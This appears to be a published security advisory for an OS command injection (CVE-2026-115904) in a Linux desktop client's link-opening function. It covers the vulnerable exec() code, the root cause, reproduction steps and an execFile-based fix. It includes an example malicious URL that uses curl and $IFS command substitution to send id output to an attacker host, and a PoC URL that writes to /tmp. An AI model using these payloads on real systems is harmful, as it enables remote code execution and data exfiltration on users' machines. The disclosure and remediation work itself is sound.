Skip to content
VulnSVNCAdvisories

CVE-2026-115904

Topluyo Desktop for Linux OS Command Injection in openExternalLinks()

OS Command Injection in openExternalLinks() (utils.js)

Technical Report

CVE-2026-115904 — OS Command Injection via openExternalLinks() in utils.js

CVE ID CVE-2026-115904
Vulnerability Class OS Command Injection (CWE-78)
Affected Component utils.js → openExternalLinks(url)
Affected Platform Linux (process.platform === "linux" branch)
Attack Vector child_process.exec call triggered via user interaction (link click)
CVSS 3.1 Score 9.6 (Critical)
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H (verified against the official CVE record)
Status Patched (v2026.9.2410)
Discovery Date September 23, 2026
Vendor Notification / CVE Request Date September 25, 2026
Patch Date September 25, 2026 (v2026.9.2410)
Public Disclosure Date October 28, 2026 (CVE/GHSA publication date)

1. Summary

The openExternalLinks() function in utils.js runs the xdg-open command via child_process.exec() to open an external URL on Linux. The function embeds the url value coming from the user/application flow directly into the command line inside double quotes, without any shell-safe escaping. Because exec() runs the given command through a shell (/bin/sh -c), $(...) (command substitution) sequences placed inside the URL are interpreted by the shell, allowing arbitrary command execution (RCE).

As a result, any flow in the application that produces a user-clickable/triggerable external link (e.g. messaging, link previews, notifications, an email client, etc.) can be turned into operating-system command execution via an attacker-controlled URL.

CVSS v3.1 Base Metrics

Metric Value
Attack Vector (AV) Network
Attack Complexity (AC) Low
Privileges Required (PR) None
User Interaction (UI) Required
Scope (S) Changed
Confidentiality (C) High
Integrity (I) High
Availability (A) High
Base Score 9.6 (Critical)

2. Vulnerable Code

const openExternalLinks = (url) => {
  if (process.platform === "linux") {
    const newUrl = new URL(url);
    require("child_process").exec(`xdg-open "${newUrl}"`);
  } else {
    shell.openExternal(url).catch(err => {
      let safeUrl = url;
      try {
        const parsed = new URL(url);
        safeUrl = parsed.hostname || url.substring(0, 30) + '...';
      } catch(e) {}

      const customErr = new Error(`[openExternalLinks] Failed to open external link (target: ${safeUrl}). Error: ${err.message}`);
      customErr.code = err.code;
      throw customErr;
    });
  }
};

3. Root Cause Analysis

  1. The new URL(url) call only validates that the URL is syntactically well-formed; it performs no shell meta-character filtering whatsoever.
  2. The newUrl value (i.e. the URL object's toString() output) is embedded directly into the command inside a template string, as xdg-open "${newUrl}".
  3. child_process.exec() runs the given command inside a shell (/bin/sh -c "..."). Double quotes ("...") do not neutralize all shell meta-characters in a shell: they block whitespace and glob (*) expansion, but command substitution (`cmd` and $(cmd)) remains active even inside double quotes.
  4. Consequently, when the url parameter is given a value containing command substitution, the command inside the parentheses is executed by the shell before xdg-open itself runs.

Correct/safe approach: use child_process.execFile("xdg-open", [url]) — execFile passes arguments directly to the process without going through a shell, which eliminates this entire class of injection. If child_process.exec must be used instead, it should be paired with strict escaping via a library such as shell-quote, plus an allow-list restricting the URL scheme to http(s) only.

4. Attack Scenario / Impact

  • If any flow in the application that presents an external link to the user as "clickable" (a chat message, a notification, a link preview, etc.) calls this function, an attacker can send a maliciously crafted URL to the target.
  • When the target user clicks the link (on the Linux desktop client), the shell executes the $(...) block inside the URL before xdg-open is even invoked.
  • The resulting RCE allows arbitrary command execution in the context of the user the application runs as (typically the desktop session user): data exfiltration, persistence (e.g. via ~/.bashrc, crontab, autostart files), opening a reverse shell, and so on.
  • User interaction (UI:R) is required (clicking the link), which makes this a critical risk when combined with social engineering.

Example Malicious URL

http://attacker.example/$(curl$IFS-s$IFSattacker.com/$(id|base64))

Note: Node's WHATWG URL class automatically percent-encodes characters such as spaces, >, <, {, } in the path (%20, etc.), but $, (, ), |, ; are not encoded, so command substitution is not blocked. For payloads that need a space, the classic $IFS technique is used.

A direct, harmless PoC trigger (for out-of-band proof):

http://x.invalid/$(id|tee$IFS/tmp/cve-2026-115904-poc.txt)

5. Reproduction Steps

  1. Run the application containing the vulnerable utils.js file on a Linux environment.
  2. Find the in-app flow that triggers openExternalLinks() (e.g. clicking a link in a message/notification).
  3. Inject the following PoC URL into that flow:
    http://x.invalid/$(id|tee$IFS/tmp/cve-2026-115904-poc.txt)
    
  4. After clicking the link, verify that the file /tmp/cve-2026-115904-poc.txt was created and contains the output of the id command.

Verified output (this PoC was tested in this environment):

[+] SUCCESS: Command injection confirmed!
[+] Contents of /tmp/cve-2026-115904-poc.txt:
uid=0(root) gid=0(root) groups=0(root)

Whether xdg-open itself subsequently fails (because no browser/handler is found) is irrelevant — the command substitution is already triggered by the shell before xdg-open is invoked, while it is parsing the command line. 5. Once command execution is confirmed, out-of-band data exfiltration can optionally be demonstrated with a controlled listener.

6. Mitigation / Fix Recommendation

const { execFile } = require("child_process");

const openExternalLinks = (url) => {
  const parsed = new URL(url); // throws on invalid URL
  if (!["http:", "https:"].includes(parsed.protocol)) {
    throw new Error("Unsupported URL scheme");
  }

  if (process.platform === "linux") {
    execFile("xdg-open", [parsed.toString()], (err) => {
      if (err) {
        // error handling
      }
    });
  } else {
    shell.openExternal(url).catch(err => { /* ...existing error handling... */ });
  }
};
  • Using execFile instead of exec completely prevents the argument from passing through a shell.
  • As an additional defense layer, an allow-list permitting only the http/https schemes has been added (which also prevents abuse of schemes such as file: or javascript:).

7. Timeline

Date Event
September 23, 2026 Vulnerability discovered
September 25, 2026 Reported to vendor / CVE requested
September 25, 2026 Patch released (v2026.9.2410)
October 23, 2026 CVE officially reserved (CNA processing date)
October 28, 2026 CVE-2026-115904 PUBLISHED / GHSA-vrrv-3f46-c3x7 published
November 2, 2026 This write-up published publicly

8. References

Researcher: Umut SEVİNÇ (VulnSVNC)